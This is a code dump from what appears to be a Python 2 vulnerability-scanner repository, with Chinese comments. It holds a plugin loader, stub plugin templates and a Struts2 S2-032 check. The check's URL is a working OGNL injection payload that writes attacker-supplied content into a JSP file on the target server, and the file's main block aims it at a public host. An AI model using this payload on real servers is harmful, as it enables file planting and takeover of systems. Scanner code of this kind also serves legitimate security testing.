"{url}?method:%23_memberAccess%3d@ognl.OgnlContext" \ 30 | "@DEFAULT_MEMBER_ACCESS,%23a%3d%23parameters.reqobj[0]," \ 31 | "%23c%3d%23parameters.reqobj[1],%23req%3d%23context.get(%23a)," \ 32 | "%23b%3d%23req.getRealPath(%23c)%2b%23parameters.reqobj[2],%23" \ 33 | "fos%3dnew java.io.FileOutputStream(%23b),%23fos.write(%23para" \ 34 | "meters.content[0].getBytes()),%23fos.close(),%23hh%3d%23conte" \ 35 | "xt.get(%23parameters.rpsobj[0]),%23hh.getWriter().println(%23" \ 36 | "b),%23hh.getWriter().flush(),%23hh.getWriter().close(),1?%23x" \ 37 | "x:%23request.toString&reqobj=com.opensymphony.xwork2.dispatch" \ 38 | "er.HttpServletRequest&rpsobj=com.opensymphony.xwork2.dispatch" \ 39 | "er.HttpServletResponse&reqobj=%2f&reqobj={filename}&content={" \ 40 | "content}".format(url=target_url, filename=jsp_file, content=content) 41 | print target_url 42 | try: 43 | res=urllib2.urlopen(poc_url,timeout=timeout) 44 | res_html = res.read() 45 | except Exception,e: 46 | print e 47 | return result 48 | finally: 49 | if res is not None: 50 | res.close() 51 | if jsp_file in res_html: 52 | info = target_url + "struts032 Vul" 53 | result['result']=True 54 | result['VerifyInfo'] = {} 55 | result['VerifyInfo']['type']='struts032 Vul' 56 | result['VerifyInfo']['URL'] =target_url 57 | result['VerifyInfo']['payload']=poc_url 58 | result['VerifyInfo']['result'] =info 59 | return result 60 | return result 61 | 62 | if __name__ == '__main__': 63 | print P().verify(ip='www.htzai.com',port='80') 64 | 65 | 66 | 67 | -------------------------------------------------------------------------------- /plugins/component/struts/t.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | 5 | class T(object): 6 | def __init__(self): 7 | 8 | self.result = { 9 | 'type': None, 10 | 'version': None, 11 | } 12 | self.keywords = [] 13 | self.versions = [] 14 | def match_rule(self,head='',context='',ip='',port='',productname='',keywords='',hackinfo='', **kw): 15 | ## 16 | #head 返回的请求头 17 | #context 返回请求正文html代码 18 | #ip 请求ip 19 | #port 请求端口 20 | #productname 请求的组件产品 21 | #keywords 暂时已知的关键词组件 22 | #hackinfo 备用字段 23 | 24 | 25 | 26 | 27 | return True 28 | 29 | def verify(self,head='',context='',ip='',port='',productname='',keywords='',hackinfo=''): 30 | result = {} 31 | result['result']=False 32 | return result 33 | def attack(self,head='',context='',ip='',port='',productname='',keywords='',hackinfo=''): 34 | result = {} 35 | result['result']=False 36 | return result 37 | def parse_output(self, result): 38 | result = {} 39 | result['result']=False 40 | return result -------------------------------------------------------------------------------- /plugins/component/t.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | 5 | class T(object): 6 | def __init__(self): 7 | 8 | self.result = { 9 | 'type': None, 10 | 'version': None, 11 | } 12 | self.keywords = [] 13 | self.versions = [] 14 | 15 | def match_rule(self,head='',context='',ip='',port='',productname='',keywords='',hackinfo='', **kw): 16 | ## 17 | #head 返回的请求头 18 | #context 返回请求正文html代码 19 | #ip 请求ip 20 | #port 请求端口 21 | #productname 请求的组件产品 22 | #keywords 暂时已知的关键词组件 23 | #hackinfo 备用字段 24 | 25 | 26 | 27 | 28 | return True 29 | def verify(self,head='',context='',ip='',port='',productname='',keywords='',hackinfo=''): 30 | result = {} 31 | result['result']=False 32 | return result 33 | def attack(self,head='',context='',ip='',port='',productname='',keywords='',hackinfo=''): 34 | result = {} 35 | result['result']=False 36 | return result 37 | def parse_output(self, result): 38 | result = {} 39 | result['result']=False 40 | return result -------------------------------------------------------------------------------- /plugins/component/test/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nanshihui/normal_hark_lite/afc32843c82c29569abe533607e8dfa4ae1b9fa0/plugins/component/test/__init__.py -------------------------------------------------------------------------------- /plugins/default.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | 5 | from os.path import dirname, abspath, join, isdir 6 | from os import listdir 7 | from urlparse import urljoin 8 | from re import compile 9 | import callbackresult 10 | 11 | 12 | class PocController(object): 13 | def __init__(self, logger=None): 14 | self.modules_list = [ 15 | 16 | {'module_name': 'component'}, 17 | {'module_name': 'middileware'} 18 | ] 19 | 20 | 21 | self.keywords = {} 22 | self.rules = {} 23 | self.components = {} 24 | self.logger = logger 25 | self.result=None 26 | self.loader() 27 | def __list_plugins(self, module_path): 28 | return set(map(lambda item: item.endswith(('.py', '.pyc')) and item.replace('.pyc', '').replace('.py', ''), listdir(module_path))) 29 | 30 | def __get_component_plugins_list(self,componentname, module_name): 31 | path = join(abspath(dirname(__file__)), componentname+'/%s' % module_name) 32 | plugins_list = self.__list_plugins(path) 33 | if False in plugins_list: 34 | plugins_list.remove(False) 35 | plugins_list.remove('__init__') 36 | if 't' in plugins_list: 37 | 38 | plugins_list.remove('t') 39 | return plugins_list 40 | def __get_component_detail_list(self,componentname): 41 | path = join(abspath(dirname(__file__)), componentname) 42 | modules_list = set(map(lambda item: isdir(join(path, item)) and item, listdir(path))) 43 | if False in modules_list: 44 | modules_list.remove(False) 45 | return modules_list 46 | def __load(self, module_name, plugin_name): 47 | 48 | plugin_name = '%s.%s' % (module_name, plugin_name) 49 | 50 | plugin = __import__(plugin_name,globals=globals(), fromlist=['P']) 51 | 52 | self.logger and self.logger.info('Load Plugin: %s.P', plugin_name) 53 | return plugin.P 54 | def __load_keywords(self,componentname, module_name): 55 | module_name = componentname+'.%s' % (module_name) 56 | 57 | module = __import__(module_name,globals=globals(), fromlist=['KEYWORDS']) 58 | return module.KEYWORDS,componentname 59 | def __load_rules(self,componentname, module_name): 60 | module_name = componentname+'.%s' % (module_name) 61 | module = __import__(module_name,globals=globals(), fromlist=['rules']) 62 | return module.rules,componentname 63 | def __load_component_detail_info(self,module_name='',componentname='',func=None,params=None,text=''): 64 | try: 65 | 66 | params[module_name] = func(componentname,module_name) 67 | self.logger and self.logger.info('Module '+text+': %s -> %s', module_name, self.keywords[module_name]) 68 | except Exception,e: 69 | print e 70 | params[module_name] = [],componentname 71 | self.logger and self.logger.info('Module '+text+': %s -> None', module_name) 72 | pass 73 | def __load_component_detail_plugins(self, componentname=''): 74 | 75 | modules_list = self.__get_component_detail_list(componentname) 76 | for module_name in modules_list: 77 | self.components[componentname][module_name] = [] 78 | 79 | for plugin_name in self.__get_component_plugins_list(componentname,module_name): 80 | 81 | P = self.__load(componentname+'.%s' % module_name, plugin_name) 82 | self.components[componentname][module_name].append(P) 83 | self.__load_component_detail_info(module_name=module_name,componentname=componentname,func=self.__load_keywords,params=self.keywords,text='keywords') 84 | self.__load_component_detail_info(module_name=module_name,componentname=componentname,func=self.__load_rules,params=self.rules,text='rules') 85 | def __load_component_plugins(self, modules_list): 86 | for module_name in modules_list: 87 | self.components[module_name] = {} 88 | self.__load_component_detail_plugins(module_name) 89 | 90 | def loader(self): 91 | self.components = {} 92 | self.__load_component_plugins(map(lambda module_info: module_info['module_name'], self.modules_list)) 93 | def env_init(self, head='',context='',ip='',port='',productname='',keywords='',hackinfo='',defaultpoc=''): 94 | self.init(head=head,context=context,ip=ip,port=port,productname=productname,keywords=keywords,hackinfo=hackinfo,defaultpoc=defaultpoc) 95 | def __match_modules_by_poc(self,head='',context='',ip='',port='',productname='',keywords='',defaultpoc=''): 96 | matched_modules = set() 97 | othermodule=[] 98 | 99 | for components_name in self.components.keys(): 100 | for module_name in self.components[components_name].keys(): 101 | if module_name in defaultpoc: 102 | matched_modules.add((module_name,components_name)) 103 | 104 | 105 | return matched_modules, othermodule 106 | def init(self, head='',context='',ip='',port='',productname='',keywords='',hackinfo='', defaultpoc='',**kw): 107 | POCS = [] 108 | modules_list = [] 109 | 110 | if defaultpoc=='': 111 | modules_list, _ = self.__match_modules_by_info(head=head,context=context,ip=ip,port=port,productname=productname,keywords=keywords,hackinfo=hackinfo) 112 | else: 113 | 114 | modules_list, _ = self.__match_modules_by_poc(head=head,context=context,ip=ip,port=port,productname=productname,keywords=keywords,defaultpoc=defaultpoc) 115 | 116 | for modules,conponent in modules_list: 117 | for item in self.components[conponent][modules]: 118 | P=item() 119 | try: 120 | if self.__match_rules(pocclass=P,head=head,context=context,ip=ip,port=port,productname=productname,keywords=keywords,hackinfo=hackinfo, **kw): 121 | POCS.append(P) 122 | except Exception,e: 123 | self.logger and self.logger.info('error: %s', e) 124 | 125 | 126 | 127 | self.logger and self.logger.info('Init Plugin: %s', item) 128 | self.match_POC(head=head,context=context,ip=ip,port=port,productname=productname,keywords=keywords,hackinfo=hackinfo,POCS=POCS, **kw) 129 | def match_POC(self,head='',context='',ip='',port='',productname='',keywords='',hackinfo='',POCS=None, **kw): 130 | haveresult=False 131 | for poc in POCS: 132 | 133 | result = poc.verify(head=head,context=context,ip=ip,port=port,productname=productname,keywords=keywords,hackinfo=hackinfo) 134 | 135 | 136 | if result['result']: 137 | haveresult=callbackresult.storedata(ip=ip,port=port,hackinfo=result) 138 | print '发现漏洞' 139 | break; 140 | 141 | 142 | if haveresult == False: 143 | print '-----------------------' 144 | print '暂未发现相关漏洞' 145 | def __match_rules(self,pocclass=None,head='',context='',ip='',port='',productname='',keywords='',hackinfo='', **kw): 146 | 147 | return pocclass.match_rule(head='',context='',ip='',port='',productname='',keywords='',hackinfo='', **kw) 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | def __match_modules_by_info(self,head='',context='',ip='',port='',productname='',keywords='',hackinfo=''): 156 | matched_modules = set() 157 | othermodule=[] 158 | # for module_name in self.components.keys(): 159 | # othermodule.extend(self.components[module_name].keys()) 160 | 161 | kw=keywords#关键词 162 | for module_name, module_info in self.keywords.items(): 163 | modulekeywords=module_info[0] 164 | comonentname=module_info[1] 165 | if not modulekeywords: 166 | 167 | 168 | matched_modules.add((module_name,comonentname)) 169 | continue 170 | for keyword in modulekeywords: 171 | if keyword in kw or keyword in productname.lower() or keyword in head.lower() or keyword in hackinfo.lower() : 172 | 173 | 174 | # self.logger and self.logger.info('Match Keyword: %s -> %s', resp.url, keyword) 175 | matched_modules.add((module_name,comonentname)) 176 | break 177 | for module_name, module_info in self.rules.items(): 178 | rules=module_info[0] 179 | comonentname=module_info[1] 180 | 181 | if not rules: 182 | 183 | 184 | matched_modules.add((module_name,comonentname)) 185 | continue 186 | if rules(head=head,context=context,ip=ip,port=port,productname=productname,keywords=keywords,hackinfo='') : 187 | 188 | 189 | # self.logger and self.logger.info('Match Keyword: %s -> %s', resp.url, keyword) 190 | matched_modules.add((module_name,comonentname)) 191 | 192 | # 193 | # for match in matched_modules: 194 | # othermodule.remove(match) 195 | # print othermodule 196 | return matched_modules, othermodule 197 | 198 | 199 | 200 | def detect(self, head='',context='',ip='',port='',productname='',keywords='',hackinfo='',defaultpoc=''): 201 | 202 | 203 | self.env_init(head=head,context=context,ip=ip,port=port,productname=productname,keywords=keywords,hackinfo=hackinfo,defaultpoc=defaultpoc) 204 | 205 | return 206 | 207 | -------------------------------------------------------------------------------- /pocdect.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | #coding:utf-8 3 | def dect(head='',context='',ip='',port='',productname='',keywords='',hackinfo=''): 4 | # webdection 5 | 6 | 7 | 8 | return keywords,hackinfo --------------------------------------------------------------------------------